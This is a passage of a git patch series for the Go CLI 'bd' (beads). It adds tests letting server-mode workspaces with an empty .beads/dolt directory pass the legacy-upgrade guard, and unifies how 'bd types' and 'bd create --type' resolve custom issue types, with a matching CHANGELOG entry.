.beads/dolt at all — which the guard already admits. Refusing it made the +// workspace unusable after `bd init --server --external` whenever the witness +// was absent, with no bd command able to repair it. +func TestLegacyUpgradeGuardAdmitsServerWorkspaceWithEmptyDoltRoot(t *testing.T) { + cases := []struct { + name string + metadata string + configYaml string + }{ + {name: "metadata.json external server", metadata: externalServerMetadata}, + {name: "metadata.json server", metadata: `{"backend":"dolt","dolt_mode":"server"}`}, + {name: "config.yaml server mode", configYaml: configYamlServerMode}, + // Proxied-server does not select server mode, so it never reaches the + // empty-root branch; it is admitted by the final non-embedded arm. Pin + // that so a later change to either arm cannot start refusing it. + {name: "metadata.json proxied server", metadata: `{"backend":"dolt","dolt_mode":"proxied-server"}`}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + warnings := captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, tc.metadata, tc.configYaml, "") + + if err := guardLegacyUpgradeWorkspace(beadsDir); err != nil { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want nil", err) + } + if warnings.Len() != 0 { + t.Fatalf("guard warned about an absent witness: %q", warnings.String()) + } + }) + } +} + +// TestLegacyUpgradeGuardEmptyDoltRootAdmissionStaysNarrow proves the empty-root +// admission relaxes nothing else: pre-1.0 evidence still refuses, a root that +// holds anything still refuses, and outside server mode an empty root is still +// the legacy embedded shape. +func TestLegacyUpgradeGuardEmptyDoltRootAdmissionStaysNarrow(t *testing.T) { + t.Run("historical server witness", func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "0.62.0") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + + t.Run("historical embedded witness", func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "0.49.6") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + + for _, entry := range []string{"beads", ".dolt", "stray-file"} { + t.Run("root holding "+entry, func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "") + path := filepath.Join(beadsDir, "dolt", entry) + var err error + if entry == "stray-file" { + err = os.WriteFile(path, nil, 0o600) + } else { + err = os.Mkdir(path, 0o700) + } + if err != nil { + t.Fatal(err) + } + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + } + + for _, metadata := range []string{`{"backend":"dolt"}`, `{"backend":"dolt","dolt_mode":"embedded"}`} { + t.Run("embedded "+metadata, func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, metadata, "", "") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + } +} diff --git a/cmd/bd/legacy_upgrade_guard_external_server_test.go b/cmd/bd/legacy_upgrade_guard_external_server_test.go new file mode 100644 index 000000000..1f243fb50 --- /dev/null +++ b/cmd/bd/legacy_upgrade_guard_external_server_test.go @@ -0,0 +1,141 @@ +//go:build cgo + +package main + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" +) + +// runExternalServerBD runs the bd binary under test in repoDir with env and +// returns its combined output. +func runExternalServerBD(t *testing.T, repoDir string, env []string, args ...string) (string, error) { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, buildBDUnderTest(t), args...) + cmd.Dir = repoDir + cmd.Env = env + out, err := cmd.CombinedOutput() + if ctxErr := ctx.Err(); ctxErr != nil { + t.Fatalf("bd %s did not finish before the deadline: %v\n%s", strings.Join(args, " "), ctxErr, out) + } + return string(out), err +} + +// externalServerTestEnv isolates a bd child from the developer's home and +// config (a real ~/.beads may select a shared server) and from the ambient +// BEADS_DOLT_* endpoint this package's TestMain exports, so only the flags and +// files under test choose the target. +func externalServerTestEnv(t *testing.T) []string { + t.Helper() + home := t.TempDir() + return append(envWithoutBeadsStorageSettings(), + "HOME="+home, + "XDG_CONFIG_HOME="+filepath.Join(home, ".config"), + "BEADS_TEST_IGNORE_REPO_CONFIG=1", + "BD_DISABLE_METRICS=1", + "BEADS_DOLT_AUTO_START=0", + ) +} + +func externalServerInitArgs(database string, extra ...string) []string { + args := []string{ + "init", "--quiet", "--server", "--external", + "--server-host", "127.0.0.1", + "--server-port", fmt.Sprintf("%d", testDoltServerPort), + "--database", database, + "--prefix", "ext", + "--skip-hooks", "--skip-agents", + } + return append(args, extra...) +} + +func assertCurrentVersionWitness(t *testing.T, beadsDir string) { + t.Helper() + data, err := os.ReadFile(filepath.Join(beadsDir, localVersionFile)) + if err != nil { + t.Fatalf("expected %s after the command: %v", localVersionFile, err) + } + if got := strings.TrimSpace(string(data)); got != Version { + t.Fatalf("%s = %q, want %q", localVersionFile, got, Version) + } +} + +// TestExternalServerInitWritesWitnessOverEmptyDoltRoot reproduces the +// provisioner shape: config.yaml already selects server mode and an empty +// .beads/dolt exists before `bd init --server --external` runs. The legacy +// guard used to refuse that init as a "legacy Dolt server workspace", so the +// scope never got a witness and every later command was refused too. +func TestExternalServerInitWritesWitnessOverEmptyDoltRoot(t *testing.T) { + skipIfNoDolt(t) + env := externalServerTestEnv(t) + + repoDir := t.TempDir() + initGitRepo(t, repoDir) + beadsDir := filepath.Join(repoDir, ".beads") + if err := os.MkdirAll(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { + t.Fatal(err) + } + writeFile(t, filepath.Join(beadsDir, "config.yaml"), []byte("dolt.mode: server\n")) + + database := uniqueTestDBName(t) + t.Cleanup(func() { dropTestDatabase(database, testDoltServerPort) }) + + out, err := runExternalServerBD(t, repoDir, append(env, "BEADS_DIR="+beadsDir), + externalServerInitArgs(database, "--init-if-missing")...) + if err != nil { + t.Fatalf("bd init --server --external over an empty .beads/dolt failed: %v\n%s", err, out) + } + assertCurrentVersionWitness(t, beadsDir) +} + +// TestExternalServerWorkspaceRecoversMissingWitness covers a workspace already +// in the broken state: initialized against an external server, then left +// without .local_version (it is gitignored, so a fresh checkout or a cleanup +// drops it) while bd's own empty .beads/dolt remains. The next ordinary +// command must open the workspace and re-seed the witness with no manual +// steps. +func TestExternalServerWorkspaceRecoversMissingWitness(t *testing.T) { + skipIfNoDolt(t) + env := externalServerTestEnv(t) + + repoDir := t.TempDir() + initGitRepo(t, repoDir) + beadsDir := filepath.Join(repoDir, ".beads") + + database := uniqueTestDBName(t) + t.Cleanup(func() { dropTestDatabase(database, testDoltServerPort) }) + + out, err := runExternalServerBD(t, repoDir, env, externalServerInitArgs(database)...) + if err != nil { + t.Fatalf("bd init --server --external failed: %v\n%s", err, out) + } + assertCurrentVersionWitness(t, beadsDir) + + entries, err := os.ReadDir(filepath.Join(beadsDir, "dolt")) + if err != nil { + t.Fatalf("precondition: expected bd init to leave a .beads/dolt directory: %v", err) + } + if len(entries) != 0 { + t.Fatalf("precondition: expected an empty .beads/dolt for an external server, found %d entries", len(entries)) + } + if err := os.Remove(filepath.Join(beadsDir, localVersionFile)); err != nil { + t.Fatal(err) + } + + out, err = runExternalServerBD(t, repoDir, env, "list", "--json", "--all") + if err != nil { + t.Fatalf("bd list on an external-server workspace without a witness failed: %v\n%s", err, out) + } + if strings.Contains(out, "explicit migration is required") { + t.Fatalf("bd list reported a legacy-upgrade refusal:\n%s", out) + } + assertCurrentVersionWitness(t, beadsDir) +} diff --git a/cmd/bd/legacy_upgrade_guard_test.go b/cmd/bd/legacy_upgrade_guard_test.go index fe16d698c..cfae520a9 100644 --- a/cmd/bd/legacy_upgrade_guard_test.go +++ b/cmd/bd/legacy_upgrade_guard_test.go @@ -206,14 +206,12 @@ func TestLegacyUpgradeGuardMetadataLessSQLiteAndCurrentEmbeddedPrecedence(t *tes } }) - t.Run("explicit server metadata with missing version witness and local Dolt root is refused", func(t *testing.T) { + t.Run("explicit server metadata with missing version witness and populated local Dolt root is refused", func(t *testing.T) { beadsDir := t.TempDir() if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_mode":"server"}`), 0o600); err != nil { t.Fatal(err) } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) } @@ -290,9 +288,7 @@ func TestLegacyUpgradeGuardServerSelectionBeatsStaleEmbeddedRepository(t *testin t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) staleRepo := filepath.Join(beadsDir, "embeddeddolt", "stale", ".dolt") if err := os.MkdirAll(staleRepo, 0o700); err != nil { t.Fatal(err) diff --git a/cmd/bd/legacy_upgrade_guard_witness_test.go b/cmd/bd/legacy_upgrade_guard_witness_test.go index 65044227f..a2f77d49c 100644 --- a/cmd/bd/legacy_upgrade_guard_witness_test.go +++ b/cmd/bd/legacy_upgrade_guard_witness_test.go @@ -84,7 +84,8 @@ func TestLegacyServerVersionSpansHistoricalServerEra(t *testing.T) { } // writeSelectedServerWorkspace lays down the ambiguous shape the guard has to -// classify: a selected Dolt server workspace that still owns a local Dolt root. +// classify: a selected Dolt server workspace that still owns a populated local +// Dolt root. func writeSelectedServerWorkspace(t *testing.T, version string) string { t.Helper() beadsDir := t.TempDir() @@ -97,9 +98,7 @@ func writeSelectedServerWorkspace(t *testing.T, version string) string { t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) return beadsDir } From 66c6a0c9b398e199b70a6c3d2dd290fc37096ffb Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 02:10:46 -0700 Subject: [PATCH 221/624] fix(types): one source of truth for issue types across bd types and create (#6934) bd types and create validation now both resolve custom types through issueops.ComposeCustomTypes in every mode (direct, server, proxied). Server-mode bd types now includes config.yaml types, proxied config set storage-class accepts DB types, and bd types lists the system types (message, molecule, gate, event); JSON gains additive system_types. Custom-type read errors now fail instead of being swallowed. Co-Authored-By: Claude Opus 5.5 (cherry picked from commit 2bb5337355244880125c7a2bec7f5680053b0a76) hand-resolved: CHANGELOG entry placed under the hotfix's [Unreleased] ### Fixed; BUILD.bazel files dropped (no Bazel on hotfix/1.3.1). Go code applied unchanged. --- CHANGELOG.md | 16 ++ cmd/bd/config.go | 6 +- cmd/bd/create_proxied_server.go | 10 +- cmd/bd/create_proxied_server_test.go | 55 ------ cmd/bd/graph_apply.go | 16 +- cmd/bd/types.go | 94 ++++++++-- cmd/bd/types_builtin_test.go | 40 ++++ cmd/bd/types_create_agreement_test.go | 130 +++++++++++++ cmd/bd/types_proxied_server.go | 20 -- internal/storage/domain/db/config.go | 48 +---- internal/storage/issueops/config_helpers.go | 56 +++--- .../issueops/custom_types_parity_test.go | 173 ++++++++++++++++++ 12 files changed, 490 insertions(+), 174 deletions(-) create mode 100644 cmd/bd/types_builtin_test.go create mode 100644 cmd/bd/types_create_agreement_test.go delete mode 100644 cmd/bd/types_proxied_server.go create mode 100644 internal/storage/issueops/custom_types_parity_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index dae3513ba..64c9223f8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -126,6 +126,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd types` now lists exactly the types `bd create --type` accepts** + ([#6934](https://github.com/gastownhall/beads/pull/6934)). The two resolved + the type set through different code and could disagree: a server-mode + workspace's `bd types` dropped `.beads/config.yaml` `types.custom` entries + once the database had any custom type, although create accepts them; in + proxied mode `bd config set storage-class.` checked `config.yaml` alone + and refused custom types registered in the database; and the built-in system + types `message`, `molecule`, `gate` and `event` were never listed. Every + mode now composes custom types by one rule (the `custom_types` table, else + the `types.custom` config row, always unioned with `config.yaml`). `bd types` + gains a "System types" section, and `bd types --json` an additive + `system_types` field; `core_types` and `custom_types` are unchanged. A + failure to read the custom types now fails `bd types`, `bd create --graph` + and `bd config set storage-class.*` instead of being silently treated as "no + custom types". + - **`bd sql` no longer drops the rows of CTE queries or CALL result sets** ([#6932](https://github.com/gastownhall/beads/pull/6932)). In proxied-server mode, `WITH name(cols) AS (...) SELECT ...` and `WITH RECURSIVE ...` queries diff --git a/cmd/bd/config.go b/cmd/bd/config.go index 3510473a5..1a6abf1eb 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -994,7 +994,11 @@ func validateStorageClassConfig(key, value string) error { if canonical := issueType.Normalize(); canonical != issueType { return fmt.Errorf("invalid key %q: %q is an alias of %q, and create-time lookup uses the canonical type; set storage-class.%s instead", key, suffix, canonical, canonical) } - if !issueType.IsValidWithCustom(loadEmbeddedCustomTypes()) { + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return err + } + if !issueType.IsValidWithCustom(customTypes) { return fmt.Errorf("invalid key %q: unknown issue type %q (use a built-in type, or add it to types.custom first)", key, suffix) } if _, err := types.ParseStorageClass(value); err != nil { diff --git a/cmd/bd/create_proxied_server.go b/cmd/bd/create_proxied_server.go index 45329b6c6..86899b0bb 100644 --- a/cmd/bd/create_proxied_server.go +++ b/cmd/bd/create_proxied_server.go @@ -11,7 +11,6 @@ import ( "github.com/spf13/cobra" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/domain" "github.com/steveyegge/beads/internal/storage/uow" @@ -21,13 +20,6 @@ import ( "github.com/steveyegge/beads/issueops" ) -func resolveProxiedCustomTypes(dbTypes []string) []string { - if len(dbTypes) > 0 { - return dbTypes - } - return config.GetCustomTypesFromYAML() -} - func runCreateProxiedServer(cmd *cobra.Command, ctx context.Context, in createInput) error { if in.repoOverrideSet { return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapRepo)) @@ -390,7 +382,7 @@ func runCreateProxiedGraph(_ *cobra.Command, ctx context.Context, in createInput // The returned useWisp is the plan-wide table routing decision. func validateProxiedGraphPlan(plan *GraphApplyPlan, in createInput, cctx domain.CreateContext, issueExists func(id string) (bool, error)) (useWisp bool, err error) { cfg := graphPlanConfig{ - customTypes: resolveProxiedCustomTypes(cctx.CustomTypes), + customTypes: cctx.CustomTypes, // No YAML fallback for statuses — the server database is authoritative // (that's where 'bd config set status.custom' writes) and statuses are // store-only everywhere (single-issue create, list filters), unlike diff --git a/cmd/bd/create_proxied_server_test.go b/cmd/bd/create_proxied_server_test.go index b06bd6b7f..a1a327920 100644 --- a/cmd/bd/create_proxied_server_test.go +++ b/cmd/bd/create_proxied_server_test.go @@ -3,13 +3,10 @@ package main import ( "encoding/json" "fmt" - "os" - "path/filepath" "reflect" "testing" "time" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -473,55 +470,3 @@ func TestParseMarkdownDependencies_DoesNotSwapBlocks(t *testing.T) { t.Errorf("got %#v, want %#v (no swap-direction)", got, want) } } - -func TestResolveProxiedCustomTypes_PrefersDBTypes(t *testing.T) { - got := resolveProxiedCustomTypes([]string{"db-a", "db-b"}) - if !reflect.DeepEqual(got, []string{"db-a", "db-b"}) { - t.Errorf("got %#v, want [db-a db-b] — DB types must win when non-empty", got) - } -} - -func TestResolveProxiedCustomTypes_FallsBackToYAML(t *testing.T) { - restore := withTestYAMLCustomTypes(t, "molecule,gate,convoy") - defer restore() - - for _, dbTypes := range [][]string{nil, {}} { - got := resolveProxiedCustomTypes(dbTypes) - if !reflect.DeepEqual(got, []string{"molecule", "gate", "convoy"}) { - t.Errorf("dbTypes=%v: got %#v, want YAML fallback [molecule gate convoy]", dbTypes, got) - } - } -} - -func TestResolveProxiedCustomTypes_EmptyEverywhere(t *testing.T) { - restore := withTestYAMLCustomTypes(t, "") - defer restore() - - got := resolveProxiedCustomTypes(nil) - if len(got) != 0 { - t.Errorf("expected empty result, got %#v", got) - } -} - -func withTestYAMLCustomTypes(t *testing.T, customCSV string) func() { - t.Helper() - tmpDir := t.TempDir() - beadsDir := filepath.Join(tmpDir, ".beads") - if err := os.MkdirAll(beadsDir, 0o755); err != nil { - t.Fatalf("mkdir .beads: %v", err) - } - var content string - if customCSV != "" { - content = "types:\n custom: \"" + customCSV + "\"\n" - } - if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(content), 0o644); err != nil { - t.Fatalf("write config.yaml: %v", err) - } - t.Chdir(tmpDir) - - config.ResetForTesting() - if err := config.Initialize(); err != nil { - t.Fatalf("config.Initialize: %v", err) - } - return func() { config.ResetForTesting() } -} diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 05750e30f..9f40f7e6d 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -12,7 +12,6 @@ import ( "strings" "time" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/validation" @@ -305,15 +304,6 @@ func warnUnknownGraphFields(w io.Writer, unknown map[string][]string) []string { return hintFields } -func loadEmbeddedCustomTypes() []string { - if store != nil { - if ct, err := store.GetCustomTypes(rootCtx); err == nil && len(ct) > 0 { - return ct - } - } - return config.GetCustomTypesFromYAML() -} - // loadEmbeddedCustomStatuses reads custom statuses from the store only — no // YAML fallback, matching single-issue create and loadListFilterConfig // (custom types fall back to YAML; custom statuses deliberately do not). @@ -348,9 +338,13 @@ func createIssuesFromGraph(planFile string, dryRun bool, opts GraphApplyOptions) return HandleErrorRespectJSON("parsing graph plan: %v", err) } + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } dbPrefix, allowedPrefixes := loadEmbeddedIDPrefixes() cfg := graphPlanConfig{ - customTypes: loadEmbeddedCustomTypes(), + customTypes: customTypes, customStatuses: loadEmbeddedCustomStatuses(), dbPrefix: dbPrefix, allowedPrefixes: allowedPrefixes, diff --git a/cmd/bd/types.go b/cmd/bd/types.go index a10d65a52..727833260 100644 --- a/cmd/bd/types.go +++ b/cmd/bd/types.go @@ -6,7 +6,9 @@ import ( "strings" "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" ) @@ -26,14 +28,45 @@ var coreWorkTypes = []struct { {types.TypeMilestone, "Marks completion of a set of related issues (contains no work itself)"}, } +// systemTypeDescriptions describes the built-in types that are not core work +// types. bd's own commands create them (mail, molecules, gates, set-state), and +// like the core types they validate without any types.custom entry. +var systemTypeDescriptions = map[types.IssueType]string{ + types.TypeMessage: "Message between agents or users", + types.TypeMolecule: "Molecule root for swarm coordination (bd mol)", + types.TypeGate: "Async coordination gate (bd gate, formula gates)", + types.TypeEvent: "Audit-trail event (bd set-state)", +} + +// systemWorkTypes lists every built-in type that is not a core work type, in +// the types package's declaration order. Together with coreWorkTypes it covers +// exactly the types IssueType.IsBuiltIn accepts. +func systemWorkTypes() []typeInfo { + core := make(map[types.IssueType]bool, len(coreWorkTypes)) + for _, t := range coreWorkTypes { + core[t.Type] = true + } + var out []typeInfo + for _, t := range append(append([]types.IssueType{}, types.AllIssueTypes...), types.TypeEvent) { + if core[t] { + continue + } + out = append(out, typeInfo{Name: string(t), Description: systemTypeDescriptions[t]}) + } + return out +} + var typesCmd = &cobra.Command{ Use: "types", GroupID: "views", Short: "List valid issue types", Long: `List all valid issue types that can be used with bd create --type. -Core work types (bug, task, feature, chore, epic, decision, spike, story, milestone) are always valid. -Additional types require configuration via types.custom in .beads/config.yaml. +Core work types (bug, task, feature, chore, epic, decision, spike, story, milestone) +and system types (message, molecule, gate, event) are always valid. +Custom types are registered with 'bd config set types.custom' or declared under +types.custom in .beads/config.yaml; the list shown is exactly the set that +bd create --type accepts. Examples: bd types # List all types with descriptions @@ -55,32 +88,56 @@ Examples: return printSections(jsonOutput) } - if usesProxiedServer() { - return runTypesProxiedServer(rootCtx) - } - - if err := ensureDirectMode("types command requires direct database access"); err != nil { - return HandleError("%v", err) - } - - var customTypes []string - ctx := context.Background() - if store != nil { - if ct, err := store.GetCustomTypes(ctx); err == nil { - customTypes = ct + if !usesProxiedServer() { + if err := ensureDirectMode("types command requires direct database access"); err != nil { + return HandleError("%v", err) } } + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return HandleError("%v", err) + } return renderTypes(customTypes) }, } +// resolveWorkspaceCustomTypes returns the workspace's registered custom issue +// types in either storage mode. Both routes end in issueops.ComposeCustomTypes, +// the rule issue create/update validation also resolves through, so what +// `bd types` lists is exactly what `bd create --type` accepts. +func resolveWorkspaceCustomTypes(ctx context.Context) ([]string, error) { + if usesProxiedServer() { + uw, err := openProxiedListUOW(ctx) + if err != nil { + return nil, err + } + defer uw.Close(ctx) + customTypes, err := uw.ConfigUseCase().GetCustomTypes(ctx) + if err != nil { + return nil, fmt.Errorf("reading custom types: %w", err) + } + return customTypes, nil + } + if store == nil { + // No database is open (e.g. a --dry-run plan check): the config.yaml + // layer is the only one available, composed by the same rule. + return issueops.ComposeCustomTypes(nil, "", config.GetCustomTypesFromYAML()), nil + } + customTypes, err := store.GetCustomTypes(ctx) + if err != nil { + return nil, fmt.Errorf("reading custom types: %w", err) + } + return customTypes, nil +} + func renderTypes(customTypes []string) error { if jsonOutput { result := struct { CoreTypes []typeInfo `json:"core_types"` + SystemTypes []typeInfo `json:"system_types"` CustomTypes []string `json:"custom_types,omitempty"` - }{} + }{SystemTypes: systemWorkTypes()} for _, t := range coreWorkTypes { result.CoreTypes = append(result.CoreTypes, typeInfo{ @@ -97,6 +154,11 @@ func renderTypes(customTypes []string) error { fmt.Printf(" %-14s %s\n", t.Type, t.Description) } + fmt.Println("\nSystem types (built-in, created by bd commands):") + for _, t := range systemWorkTypes() { + fmt.Printf(" %-14s %s\n", t.Name, t.Description) + } + if len(customTypes) > 0 { fmt.Println("\nConfigured custom types:") for _, t := range customTypes { diff --git a/cmd/bd/types_builtin_test.go b/cmd/bd/types_builtin_test.go new file mode 100644 index 000000000..bed351643 --- /dev/null +++ b/cmd/bd/types_builtin_test.go @@ -0,0 +1,40 @@ +package main + +import ( + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestBdTypesListsEveryBuiltIn pins that `bd types` (core + system sections) +// lists exactly the types that validate without configuration, i.e. the set +// IssueType.IsBuiltIn accepts, each with a description. +func TestBdTypesListsEveryBuiltIn(t *testing.T) { + listed := map[types.IssueType]bool{} + for _, ct := range coreWorkTypes { + if listed[ct.Type] { + t.Errorf("core type %q listed twice", ct.Type) + } + listed[ct.Type] = true + } + for _, st := range systemWorkTypes() { + it := types.IssueType(st.Name) + if listed[it] { + t.Errorf("type %q listed as both core and system", it) + } + if st.Description == "" { + t.Errorf("system type %q has no description", it) + } + listed[it] = true + } + for it := range listed { + if !it.IsBuiltIn() { + t.Errorf("bd types lists %q as built-in, but IsBuiltIn rejects it", it) + } + } + for _, it := range append(append([]types.IssueType{}, types.AllIssueTypes...), types.TypeEvent) { + if !listed[it] { + t.Errorf("built-in type %q validates without configuration but bd types does not list it", it) + } + } +} diff --git a/cmd/bd/types_create_agreement_test.go b/cmd/bd/types_create_agreement_test.go new file mode 100644 index 000000000..a371dab96 --- /dev/null +++ b/cmd/bd/types_create_agreement_test.go @@ -0,0 +1,130 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// typesAgreementRunner runs bd in a workspace and returns stdout (or stdout+stderr on +// failure) plus the exit error. +type typesAgreementRunner func(t *testing.T, args ...string) ([]byte, error) + +// assertTypesAgreeWithCreate is the `bd types` ⇔ `bd create --type` contract: +// every type `bd types --json` lists is accepted by create and by +// storage-class config validation, and an unlisted type is rejected. +// Custom types are seeded from both sources — the database (bd config set) +// and the project's .beads/config.yaml — because each storage mode resolves +// them; the listing and validation paths must compose them identically. +func assertTypesAgreeWithCreate(t *testing.T, run typesAgreementRunner, beadsDir string) { + t.Helper() + + if out, err := run(t, "config", "set", "types.custom", "dbtype"); err != nil { + t.Fatalf("config set types.custom: %v\n%s", err, out) + } + cfgPath := filepath.Join(beadsDir, "config.yaml") + cfg, err := os.ReadFile(cfgPath) + if err != nil { + t.Fatalf("read config.yaml: %v", err) + } + if strings.Contains(string(cfg), "types.custom") || strings.Contains(string(cfg), "\ntypes:") { + t.Fatalf("fixture config.yaml already declares types; test assumes it does not:\n%s", cfg) + } + cfg = append(cfg, []byte("\ntypes.custom: \"yamltype\"\n")...) + if err := os.WriteFile(cfgPath, cfg, 0o644); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + + out, err := run(t, "types", "--json") + if err != nil { + t.Fatalf("types --json: %v\n%s", err, out) + } + var listed struct { + CoreTypes []typeInfo `json:"core_types"` + SystemTypes []typeInfo `json:"system_types"` + CustomTypes []string `json:"custom_types"` + } + if err := json.Unmarshal(out, &listed); err != nil { + t.Fatalf("unmarshal types --json: %v\n%s", err, out) + } + names := map[string]bool{} + for _, ti := range append(listed.CoreTypes, listed.SystemTypes...) { + names[ti.Name] = true + } + for _, c := range listed.CustomTypes { + names[c] = true + } + + // Types create is known to accept must be listed. + for _, want := range []string{"task", "message", "molecule", "gate", "event", "dbtype", "yamltype"} { + if !names[want] { + t.Errorf("bd types does not list %q, but bd create accepts it; listed=%v", want, names) + } + } + + // Every listed type must be accepted by create ... + for name := range names { + if out, err := run(t, "create", "--silent", "--type", name, "agreement "+name); err != nil { + t.Errorf("bd types lists %q but bd create --type %s failed: %v\n%s", name, name, err, out) + } + } + // ... and by storage-class validation, which names issue types too. + for _, name := range listed.CustomTypes { + if out, err := run(t, "config", "set", "storage-class."+name, "versioned"); err != nil { + t.Errorf("bd types lists %q but config set storage-class.%s failed: %v\n%s", name, name, err, out) + } + } + + // An unlisted type is rejected. + if out, err := run(t, "create", "--silent", "--type", "notregistered", "agreement unlisted"); err == nil { + t.Errorf("bd create accepted unlisted type notregistered: %s", out) + } +} + +func TestProxiedServerTypesAgreeWithCreate(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "tac") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + return bdProxiedRun(t, bd, p.dir, args...) + }, p.beadsDir) +} + +func TestEmbeddedTypesAgreeWithCreate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tac") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + return bdRunWithFlockRetry(t, bd, dir, args...) + }, beadsDir) +} + +// Server mode (`bd init --server` against an external dolt sql-server) lists +// through DoltStore.GetCustomTypes, the resolver that used to drop +// config.yaml types once the database had any. +func TestServerModeTypesAgreeWithCreate(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newServerModeProject(t, bd, "tas") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = p.dir + cmd.Env = p.env + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + return append(stdout.Bytes(), stderr.Bytes()...), err + } + return stdout.Bytes(), nil + }, p.beadsDir) +} diff --git a/cmd/bd/types_proxied_server.go b/cmd/bd/types_proxied_server.go deleted file mode 100644 index cefb89af6..000000000 --- a/cmd/bd/types_proxied_server.go +++ /dev/null @@ -1,20 +0,0 @@ -package main - -import ( - "context" -) - -func runTypesProxiedServer(ctx context.Context) error { - uw, err := openProxiedListUOW(ctx) - if err != nil { - return HandleError("%v", err) - } - defer uw.Close(ctx) - - var customTypes []string - if ct, err := uw.ConfigUseCase().GetCustomTypes(ctx); err == nil { - customTypes = ct - } - - return renderTypes(customTypes) -} diff --git a/internal/storage/domain/db/config.go b/internal/storage/domain/db/config.go index 8436a09d5..19115ba8e 100644 --- a/internal/storage/domain/db/config.go +++ b/internal/storage/domain/db/config.go @@ -126,22 +126,25 @@ func (r *configSQLRepositoryImpl) GetAllConfig(ctx context.Context) (map[string] return out, nil } +// GetCustomTypes resolves the workspace's custom issue types through +// issueops.ComposeCustomTypes, the same rule the embedded and server-mode +// stores use, so proxied `bd types` and proxied create/update validation +// accept exactly the same set. func (r *configSQLRepositoryImpl) GetCustomTypes(ctx context.Context) ([]string, error) { fromTable, err := r.readCustomTypesTable(ctx) if err != nil { return nil, err } - fromDB := fromTable - if len(fromDB) == 0 { - fromConfig, err := r.readCustomTypesConfig(ctx) + var configValue string + if len(fromTable) == 0 { + configValue, err = r.GetConfig(ctx, "types.custom") if err != nil { - return nil, err + 